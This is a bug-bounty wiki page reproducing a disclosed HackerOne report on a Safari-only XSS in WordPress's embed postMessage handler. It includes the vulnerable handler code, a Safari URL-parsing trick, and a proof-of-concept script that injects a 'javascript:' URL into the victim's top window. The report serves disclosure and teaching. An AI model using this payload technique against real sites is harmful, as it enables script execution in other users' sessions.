Skip to content
XSS Disclosed report Intermediate

wp-embed XSS on Safari

WordPress's open embed auto-discovery feature uses a postMessage handler that checks the host of a link before navigating the top window. On Safari, a javascript: URL with a host component bypasses this check, allowing an attacker who can get their blog post embedded to execute JavaScript in the victim's WordPress site.

Jakub Żoczek Follow

Originally disclosed on HackerOne

  • Triaged in 20 months
  • Fixed in 23 months
  • Paid in 22 months
  • Disclosed after 2.0 years

Summary by the researcher

Invalid postMessage origin check implementation in WordPress open embed auto discovery function allows potential attacker to execute malicious JavaScript code.

Detailed write-up: https://research.securitum.com/xss-in-wordpress-via-open-embed-auto-discovery/

The report

Hello! I'd like to report an XSS vulberability which works only on Safari browser (and maybe on others which I didn't checked. It defo doesn't work on both Chrome and Firefox). The other requirement which need to be met is attacker's blog post being embed on destination (victim) blog.

Analysis

Let's take a look to the core of problem - JavaScript postMessage handler:

JavaScript
     if (c.wp.receiveEmbedMessage = function(e) {
            var t = e.data;
            if (t)
                if (t.secret || t.message || t.value)
                    if (!/[^a-zA-Z0-9]/.test(t.secret)) {
                        for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
                            n[o].style.display = "none";
                        for (o = 0; o < s.length; o++)
                            if (r = s[o],
                            e.source === r.contentWindow) {
                                if (r.removeAttribute("style"),
                                "height" === t.message) {
                                    if (1e3 < (i = parseInt(t.value, 10)))
                                        i = 1e3;
                                    else if (~~i < 200)
                                        i = 200;
                                    r.height = i
                                }
                                if ("link" === t.message)
                                    if (a = d.createElement("a"),
                                    i = d.createElement("a"),
                                    a.href = r.getAttribute("src"),
                                    i.href = t.value,
                                    i.host === a.host)
                                        if (d.activeElement === r)
                                            c.top.location.href = t.value
                            }
                    }
        }

Things need to be noticed:

  • Secret need to be known (but it's provided as location.hash of embed webpage, so it's not a problem)
  • Only content window can send postMessages (which is cool, as it's attacker website)
  • If message attribute of postMessage data has link value - crazy things are happening
  • most important c.top.location.href = t.value where t is postMessage data controlled by attacker.

The last point obviously can lead to XSS if attacker will use javascript:alert(document.domain) as t.value, however - before it happen important check is made:

JavaScript
     if (a = d.createElement("a"),
                                    i = d.createElement("a"),
                                    a.href = r.getAttribute("src"),
                                    i.href = t.value,
                                    i.host === a.host)

This code checks if hostname provided in t.value is the same as hostname of embed page. It create <a> element, but t.value as href attribute and then - takes host attribute of created URL. This approach is of course way better than some regexp magic ;-) but there's a behavior specific in Safari browser:

> var a = document.createElement("a")
> a.href="javascript://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com

All other browsers return empty string in case of using javascript: scheme, but not Safari. :) This could lead attacker to use javascript schema and execute javascript code in top window (victim's blog)

Steps To Reproduce:

  1. Get evil wordpress instance ;-)
  2. Edit wordpress/wp-includes/theme-compat/embed.php file and add your custom HTML code:
HTML
<script>
if(document.location.hash.indexOf("secret") != -1) {
  secret = document.location.hash.split("=")[1];
  window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>
  1. Create any post on attacker blog, publish it and get it's URL.
  2. On victim wordpress site (Safari) add new post with embed post from victim wordpress
  3. Alert executed. :)

Sample blogpost that can be embedded: https://ropchain.org/lab/wordpress/2021/06/20/embed-me/

Recommendations

It's recommended to also validate schema of links and allow only HTTP / HTTPS links in postMessages.

Impact

Ability to execute JavaScript code on wordpress page which embeded attacker's blogpost.

Please assign CVE identifier to this vulnerability. While crediting it, please use:

Jakub Żoczek, Senior Security Researcher @ Securitum https://securitum.pl/

All the best!

The original report as published on HackerOne, by zoczus. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute JavaScript code on a WordPress page that embeds their blog post, but only on Safari and only if the victim embeds the attacker's post.

What the attacker needed

Victim uses Safari; Attacker's blog post is embedded on victim site; Attacker controls a WordPress instance

The fix

The fix should validate the scheme of links and allow only HTTP and HTTPS links in postMessages.

How it was found

  1. Set up a malicious WordPress instance and modify the embed template to add a script that sends a postMessage with a javascript: URL when a secret is present in the hash.
  2. Create and publish a post on the attacker blog to get its URL.
  3. On the victim WordPress site (using Safari), create a new post that embeds the attacker's post.
  4. The alert executes, demonstrating JavaScript execution.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you embed a WordPress post from another site, WordPress uses a script to resize the embed and handle links. The script checks that any link it follows points to the same website as the embedded content. In Safari, a special kind of link starting with 'javascript:' can trick this check, letting an attacker run their own code on your site if you embed their post.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Jakub Żoczek

View all

3 more disclosed reports, best first.

More from WordPress

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.